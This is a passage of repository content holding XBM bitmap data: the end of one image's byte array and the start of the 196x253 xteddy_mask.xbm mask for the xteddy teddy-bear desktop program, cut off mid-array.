343 | 0xf4,0x7b,0xd7,0xd7,0xb5,0x6a,0x55,0x91,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
344 | 0x00,0x00,0x00,0x00,0x5a,0xa5,0xda,0x6e,0x6b,0x55,0xd5,0xff,0x7d,0x7f,0x6b,
345 | 0x55,0x25,0x05,0x15,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xaa,
346 | 0x4a,0x55,0xdb,0xaa,0x2a,0xea,0xdf,0xfe,0xed,0xd6,0xad,0x4a,0x52,0x00,0x00,
347 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x54,0x55,0xad,0xb6,0x5a,0xd5,
348 | 0x6a,0xf7,0xdb,0xbf,0xbd,0x5a,0xd5,0x24,0x0a,0x00,0x00,0x00,0x00,0x00,0x00,
349 | 0x00,0x00,0x00,0x00,0x52,0x55,0x55,0x6b,0x57,0x2b,0xa9,0x7f,0x7f,0xfb,0x6b,
350 | 0x6b,0x55,0x89,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x54,
351 | 0x55,0xd5,0xde,0xb4,0x4a,0xea,0xff,0xf6,0xdf,0xd6,0xaa,0xaa,0x12,0x0a,0x00,
352 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb4,0x52,0x25,0xa9,0x55,0x55,
353 | 0x95,0xdf,0xdf,0xf7,0xbb,0xb5,0x55,0x42,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
354 | 0x00,0x00,0x00,0x00,0x5a,0x49,0xa9,0x56,0xad,0xaa,0x54,0x7d,0xfb,0xbe,0x6e,
355 | 0x6b,0xad,0x2a,0x09,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb4,
356 | 0xaa,0xaa,0x6d,0x55,0x15,0xa5,0xfe,0xff,0xef,0xdb,0xde,0xaa,0x4a,0x04,0x00,
357 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xac,0x4a,0xa5,0xaa,0xaa,0xaa,
358 | 0x4a,0xab,0xea,0x7b,0xb7,0xb5,0x5b,0x55,0x11,0x00,0x00,0x00,0x00,0x00,0x00,
359 | 0x00,0x00,0x00,0x00,0xa8,0x56,0x52,0x55,0x55,0x25,0x91,0xfe,0xbf,0xff,0x7a,
360 | 0xab,0x6a,0x55,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xda,
361 | 0xa5,0x94,0xaa,0x5a,0xa9,0xaa,0xbd,0xfb,0xaf,0xd7,0x5a,0x55,0xab,0x02,0x00,
362 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xa8,0x4a,0x21,0x55,0x55,0x15,
363 | 0x54,0xf7,0xde,0xfd,0x5a,0x55,0x55,0xad,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
364 | 0x00,0x00,0x00,0x00,0xb4,0x2b,0x4a,0xa2,0xaa,0x44,0xa5,0xbe,0xff,0xaf,0xb7,
365 | 0xab,0xaa,0x2a,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x68,
366 | 0x55,0x29,0x09,0x29,0x91,0xaa,0xf5,0xb5,0xfb,0x6a,0xad,0xaa,0x55,0x01,0x00,
367 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xd4,0xaa,0x84,0xa4,0xaa,0x2a,
368 | 0xd5,0x76,0xff,0xdf,0x5d,0x55,0x55,0x55,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
369 | 0x00,0x00,0x00,0x00,0x50,0x15,0x29,0x42,0x2a,0x41,0xb5,0xfa,0xdd,0xba,0xaa,
370 | 0x55,0xb5,0x8a,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xe8,
371 | 0xa6,0x44,0xa8,0x54,0xaa,0xaa,0xdd,0xfe,0xd7,0x5b,0x55,0x55,0x2b,0x01,0x00,
372 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x90,0x2a,0x91,0x42,0x95,0x92,
373 | 0x54,0xfb,0xdb,0x6d,0x55,0x55,0xaa,0x2a,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
374 | 0x00,0x00,0x00,0x00,0x60,0x55,0x24,0x28,0xa9,0x24,0x55,0xb5,0x7e,0xab,0xaa,
375 | 0x92,0xaa,0x52,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,
376 | 0xad,0x42,0x51,0x4a,0x4a,0x55,0xef,0xab,0x55,0xb5,0xaa,0xaa,0x26,0x00,0x00,
377 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x50,0x55,0x29,0x82,0xaa,0x50,
378 | 0x55,0xb9,0x7d,0x55,0x55,0xa5,0xaa,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
379 | 0x00,0x00,0x00,0x00,0x80,0x6a,0x49,0x54,0x55,0xaa,0xaa,0xea,0x96,0xaa,0xaa,
380 | 0x2a,0x95,0x42,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,
381 | 0xda,0x92,0x92,0xaa,0x4a,0x55,0xa9,0x6f,0x85,0xa4,0x52,0xaa,0x14,0x00,0x00,
382 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x55,0xab,0x24,0x95,0x54,
383 | 0x95,0xd2,0xaa,0xaa,0x4a,0x55,0x25,0x09,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
384 | 0x00,0x00,0x00,0x00,0x00,0xda,0x42,0xaa,0xaa,0x52,0x55,0xa1,0xad,0x52,0x52,
385 | 0x52,0x55,0x22,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,
386 | 0xb4,0x95,0xa4,0xaa,0xaa,0xa4,0xa0,0x55,0xa5,0x94,0xa4,0x4a,0x05,0x00,0x00,
387 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x54,0x55,0xa9,0xaa,0xaa,
388 | 0x4a,0x41,0xad,0x48,0xa9,0xaa,0x52,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
389 | 0x00,0x00,0x00,0x00,0x00,0xe8,0x12,0x55,0x57,0x55,0x55,0x40,0x15,0x95,0x52,
390 | 0x49,0x95,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
391 | 0x90,0x55,0xaa,0x5a,0x92,0x20,0x80,0xaa,0xaa,0x14,0x55,0x25,0x04,0x00,0x00,
392 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xa4,0x92,0x52,0x55,0x55,
393 | 0x56,0x00,0x55,0x50,0x55,0x52,0x89,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
394 | 0x00,0x00,0x00,0x00,0x00,0x80,0x2a,0x95,0xaa,0x24,0x14,0x00,0xaa,0x46,0x55,
395 | 0x25,0x52,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
396 | 0x20,0xa1,0xaa,0x2a,0x55,0x15,0x00,0x54,0x59,0x55,0x48,0x09,0x00,0x00,0x00,
397 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x8a,0x54,0x55,0x95,
398 | 0x0a,0x00,0x50,0xaa,0xaa,0x95,0xa4,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
399 | 0x00,0x00,0x00,0x00,0x00,0x80,0x50,0xaa,0x24,0xa5,0x02,0x00,0xa0,0x4a,0xa9,
400 | 0x2a,0x09,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
401 | 0x00,0x04,0x28,0x55,0xaa,0x02,0x00,0x00,0x10,0x45,0xaa,0x12,0x00,0x00,0x00,
402 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x90,0x42,0x89,0x54,
403 | 0x00,0x00,0x00,0x02,0x00,0xa9,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
404 | 0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x14,0x52,0x15,0x00,0x00,0x00,0x00,0x00,
405 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
406 | 0x00,0x80,0xa8,0xaa,0x12,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
407 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x00,0x00,
408 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
409 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,
410 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
411 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
412 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
413 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
414 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
415 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
416 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
417 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
418 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
419 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
420 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
421 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
422 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
423 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
424 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
425 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
426 |
--------------------------------------------------------------------------------
/pixmaps/xteddy_mask.xbm:
--------------------------------------------------------------------------------
1 | #define xteddy_mask_width 196
2 | #define xteddy_mask_height 253
3 | static unsigned char xteddy_mask_bits[] = {
4 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
5 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
6 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
7 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
8 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
9 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
10 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
11 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
12 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
13 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
14 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
15 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
16 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
17 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
18 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
19 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
20 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
21 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
22 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
23 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
24 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
25 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
26 | 0xe0,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
27 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0xff,0xff,0x01,0x00,0x00,
28 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
29 | 0x00,0x00,0x00,0x00,0xe0,0xff,0xff,0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
30 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,
31 | 0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
32 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0x7f,0x00,0x00,
33 | 0xfe,0xff,0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
34 | 0x00,0x00,0x00,0x80,0xff,0xff,0xff,0xff,0xc0,0xff,0xff,0xff,0xff,0x07,0x00,
35 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0xff,
36 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,
37 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0xff,0xff,0xff,0xff,0xff,0xff,
38 | 0xff,0xff,0xff,0xff,0xff,0x01,0x00,0xf0,0x0f,0x00,0x00,0x00,0x00,0x00,0x00,
39 | 0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
40 | 0x1f,0xe0,0xff,0x7f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xe0,0xff,
41 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xfc,0xff,0xff,0x01,
42 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0xff,
43 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,0x00,0x00,0x00,
44 | 0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
45 | 0xff,0xff,0xff,0xff,0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xe0,0xff,
46 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,
47 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0xff,
48 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,
49 | 0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
50 | 0xff,0xff,0xff,0xff,0x7f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xe0,0xff,
51 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
52 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,
53 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00,
54 | 0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
55 | 0xff,0xff,0xff,0xff,0xff,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,0xff,
56 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
57 | 0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,
58 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x03,0x00,0x00,0x00,0x00,
59 | 0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
60 | 0xff,0xff,0xff,0xff,0xff,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,0xff,
61 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
62 | 0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,
63 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,0x00,0x00,
64 | 0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
65 | 0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,0xff,
66 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
67 | 0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,
68 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,0x00,0x00,
69 | 0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
70 | 0xff,0xff,0xff,0xff,0xff,0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,0xff,
71 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
72 | 0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,
73 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x0f,0x00,0x00,0x00,0x00,
74 | 0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
75 | 0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xe0,0xff,
76 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
77 | 0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0xff,
78 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,
79 | 0x00,0x00,0x00,0xe0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
80 | 0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0xff,
81 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
82 | 0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0xff,0xff,0xff,0xff,0xff,0xff,
83 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00,
84 | 0x00,0x00,0x00,0xc0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
85 | 0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0xff,
86 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
87 | 0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0xff,0xff,0xff,0xff,0xff,0xff,
88 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,
89 | 0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
90 | 0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,
91 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
92 | 0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfe,0xff,0xff,0xff,0xff,0xff,
93 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,
94 | 0x00,0x00,0x00,0x00,0xfe,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
95 | 0xff,0xff,0xff,0xff,0xff,0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfe,
96 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
97 | 0x0f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,
98 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x0f,0x00,0x00,0x00,0x00,
99 | 0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
100 | 0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,
101 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
102 | 0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0xff,0xff,0xff,0xff,0xff,
103 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x03,0x00,0x00,0x00,0x00,
104 | 0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
105 | 0xff,0xff,0xff,0xff,0xff,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xe0,
106 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
107 | 0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0xff,0xff,0xff,0xff,0xff,
108 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00,
109 | 0x00,0x00,0x00,0x00,0x80,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
110 | 0xff,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
111 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x7f,
112 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfc,0xff,0xff,0xff,0xff,
113 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,
114 | 0x00,0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
115 | 0xff,0xff,0xff,0xff,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
116 | 0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x0f,
117 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,
118 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,0x00,0x00,0x00,
119 | 0x00,0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
120 | 0xff,0xff,0xff,0xff,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
121 | 0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x00,
122 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,
123 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x7f,0x00,0x00,0x00,0x00,0x00,0x00,
124 | 0x00,0x00,0x00,0x00,0x00,0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
125 | 0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
126 | 0xf0,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x0f,0x00,
127 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0xff,0xff,0xff,0xff,
128 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07,0x00,0x00,0x00,0x00,0x00,0x00,
129 | 0x00,0x00,0x00,0x00,0x00,0xf8,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
130 | 0xff,0xff,0xff,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
131 | 0xf8,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x00,0x00,
132 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0xff,0xff,0xff,0xff,
133 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
134 | 0x00,0x00,0x00,0x00,0x00,0xf8,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
135 | 0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
136 | 0xf8,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x7f,0x00,0x00,
137 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0xff,0xff,0xff,0xff,
138 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x7f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
139 | 0x00,0x00,0x00,0x00,0x00,0xf8,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
140 | 0xff,0xff,0x7f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
141 | 0xf8,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,
142 | 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0xff,0xff,0xff,0xff,
143 | 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
144 | 0x00,0x00,0x00,0x00,0x00,0xf8,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
